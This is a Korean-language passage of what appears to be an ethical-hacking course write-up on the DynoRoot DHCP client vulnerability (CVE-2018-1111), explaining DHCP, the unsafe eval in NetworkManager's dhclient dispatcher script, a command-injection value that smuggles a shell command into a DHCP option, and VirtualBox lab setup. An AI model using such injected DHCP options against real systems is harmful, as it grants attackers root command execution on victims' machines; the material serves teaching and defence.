
DynoRoot(CVE-2018-1111)을 이용한 DHCP 악용
이 프로젝트는 DHCP(Dynamic Host Configuration Protocol)의 안전하지 않은 클라이언트 측 구현과 관련된 Fedora 및 RedHat 시스템의 알려진 취약점을 시연합니다. 악성 DHCP 서버는 악성 페이로드가 포함된 DHCP offer를 조작하여 피해자 시스템의 루트 셸에서 실행되게 할 수 있습니다.
이 취약점은 Felix Wilhelm이 보고했으며 CVE-2018-1111 또는 "DynoRoot"로 알려져 있습니다.
DHCP(Dynamic Host Configuration Protocol)는 네트워크 시스템에서 종종 간과되는 구성 요소입니다. 그 역할은 기존 네트워크에 연결되는 호스트 시스템의 동적 구성을 허용하는 것입니다. 가장 일반적인 사용 사례는 새로 연결된 호스트에 IP 주소를 할당하고 다른 네트워크에 접근하기 위한 기존 경로를 알려주는 것입니다. 예를 들어 로컬 DNS 서버의 주소와 해당 서버가 담당하는 영역, 부트 파일의 위치와 같은 추가 옵션을 지정할 수도 있습니다.
이더넷 또는 무선 연결을 통해 네트워크에 물리적으로 연결한 후 새 호스트가 네트워크에 가입할 때 따르는 4-way 프로토콜을 분석해 보겠습니다.
DISCOVER 메시지를 브로드캐스트합니다.OFFER로 응답합니다.REQUEST로 응답하여 제안된 IP 주소를 _임대_하겠다고 공식적으로 요청합니다.ACK로 교환을 마치며, 클라이언트가 지정된 시간 동안 IP 주소를 사용할 수 있음을 알립니다.초기 교환 후 클라이언트는 단순히 다른 REQUEST 메시지를 보내 임대를 갱신할 수 있습니다. 서버는 클라이언트의 IP 및 MAC 주소와 일치하는 임대가 존재하는지 확인한 후 ACK로 응답합니다.
참고할 사항:
DISCOVER 단계를 건너뛰고 즉시 REQUEST로 주소를 요청할 수도 있습니다. 이는 클라이언트가 이전에 네트워크에 연결한 적이 있고 이전 주소를 기억하는 시나리오에서 흔합니다. 이 경우 서버는 주소의 사용 가능 여부를 확인하고 요청에 ACK로 응답하거나, 임대를 사용할 수 없는 경우 NACK를 보냅니다.RELEASE 메시지를 보낼 수 있습니다. 그러나 이는 프로토콜에서 의무 사항이 아니며 서버는 주기적으로 만료된 임대를 회수합니다.OFFER 임대를 제공할 수 없게 됩니다.OFFER를 수신하면 하나만 수락하며, 다른 서버들은 브로드캐스트된 REQUEST를 관찰하고 해당 offer를 무효화합니다.이 취약점은 클라이언트가 DHCP를 통해 수신한 옵션을 구문 분석하고 설정하기 위해 실행하는 /etc/NetworkManager/dispatcher.d/11-dhclient에 있습니다.
declare는 인수 없이 사용할 때 선언된 모든 변수를 나열하는 bash 내장 명령입니다.grep은 DHCP 관련 변수를 모두 필터링합니다.while read opt는 DHCP 변수를 하나씩 반복하면서 일부 구문 분석을 수행하고 각 옵션에 대해 export new_optionname=value와 같은 줄을 출력합니다.eval을 통해 셸에서 평가됩니다.```bash
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]=' | while read opt; do
optname=${opt%%=}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"<!-- omit in toc -->
#### 일반 작동
정상적인 상황에서는 코드가 문제없이 작동하여 새로운 DHCP 옵션을 파싱할 것입니다.
예를 들어, 다음 코드는:```bash
DHCP4_OPTION_ONE=42
DHCP4_OPTION_TWO="bla bla"
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
eval로 평가될 이 두 export 문을 출력합니다:```bash
export new_option_one=42
export new_option_two='bla bla'
<!-- omit in toc -->
#### 코드 삽입
그러나 안전하지 않은 `eval`로 인해 bash 명령을 주입할 수 있습니다:```bash
DHCP4_OPTION_ONE="x'& echo Hacked! #"
DHCP4_OPTION_TWO='bla bla'
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"
결과적으로 echo Hacked! 가 실행됩니다.```text
[1] 1541
Hacked!
### 소스
- [Exploit 데이터베이스 항목](https://www.exploit-db.com/exploits/44890)
- [RedHat 공지](https://access.redhat.com/security/vulnerabilities/3442151)
- [Tenable 블로그 게시물](https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble)
- [GitHub 저장소](https://github.com/kkirsche/CVE-2018-1111)
- [Twitter 공지](https://twitter.com/_fel1x/status/996388421273882626?lang=en)
## 설정
익스플로잇을 시연하기 위한 최소 설정은 단 두 대의 머신으로 구성됩니다: Fedora 28을 실행하는 `victim` 머신과 `attacker` 머신입니다. 이 설정에서 공격자는 DHCP 서비스를 제공하고 피해자의 연결을 기다리기만 하면 됩니다.
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network_simple.svg" style="max-width:400px;" width="90%"/>
<figcaption>최소 익스플로잇 설정.</figcaption>
</figure>
더 현실적인 설정은 머신들을 사설 네트워크에 배치하고, 세 번째 머신인 `gateway`를 정상적인 DHCP 서버이자 외부 인터넷으로의 게이트웨이로 구성하는 것입니다. 이 설정에서 공격자는 공격을 수행하기 전에 피해자가 정당한 DHCP 서버에 연결하지 못하도록 차단해야 합니다.
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network.svg" style="max-width:800px;" width="90%"/>
<figcaption>게이트웨이 머신 하나가 DHCP, 라우터 및 방화벽 역할을 하는 사설 네트워크 설정.</figcaption>
</figure>
다음 섹션에서는 다음을 수행합니다:
1. VirtualBox 설치
2. 가상 머신 3대 생성: `gateway`, `attacker`, `victim`
3. 머신에 OS 설치 (사용자, 네트워크 및 SSH 접근)
4. VirtualBox가 제공하는 가상 내부 네트워크에 대해
정상적인 DHCP 서버를 호스팅하도록 `gateway` 구성
5. 공격을 위한 Python 종속성 설치
수동 설정을 건너뛰고 [바로 실행](#performing-the-attack)하려면 `ansible` 폴더의
[`setup.sh`](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/ansible/setup.sh) 스크립트를 실행하면 됩니다. 이 스크립트는 (거의)
자동으로 가상 머신을 생성하고 [Ansible Roles](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html)를
사용하여 구성합니다. `setup.sh`를 실행하기 전에 Ansible과 VirtualBox가 설치되어 있는지 확인하세요.
### 사전 준비
#### VirtualBox 설치
다음 지침은 [공식 설치 가이드](https://www.virtualbox.org/wiki/Downloads)에서 가져온 것입니다.
`/etc/apt/sources.list`에 다음 줄을 추가합니다:```bash
deb [arch=amd64] 'https://download.virtualbox.org/virtualbox/debian' bionic contrib
virtualbox 및 확장 팩을 설치하십시오:```bash wget -q 'https://www.virtualbox.org/download/oracle_vbox_2016.asc' -O- | sudo apt-key add - wget -q 'https://www.virtualbox.org/download/oracle_vbox.asc' -O- | sudo apt-key add -
sudo apt-get update sudo apt-get -y install gcc make linux-headers-$(uname -r) dkms virtualbox-6.1
wget 'https://download.virtualbox.org/virtualbox/6.1.16/Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack' sudo VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack VBoxManage list extpacks
#### Ansible 설치 (선택 사항)
[Ubuntu 공식 가이드](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#installing-ansible-on-ubuntu)에서:```bash
sudo apt update
sudo apt install software-properties-common
sudo apt-add-repository --yes --update ppa:ansible/ansible
sudo apt install ansible
이 섹션에서는 머신에 로그인할 때 사용할 SSH 자격 증명을 만들겠습니다. SSH 구성 파일에 호스트 항목을 추가하면 나중에 타이핑을 줄일 수 있습니다.
암호가 없는 SSH 키를 생성합니다:```bash ssh-keygen -f ~/.ssh/ethhack -t ed25519 -N ''
SSH config(`~/.ssh/config`)에 다음 항목을 추가하세요:```
Host gateway.ethhack
Port 6001
User gateway
Host victim.ethhack
Port 6002
User victim
Host attacker.ethhack
Port 6003
User attacker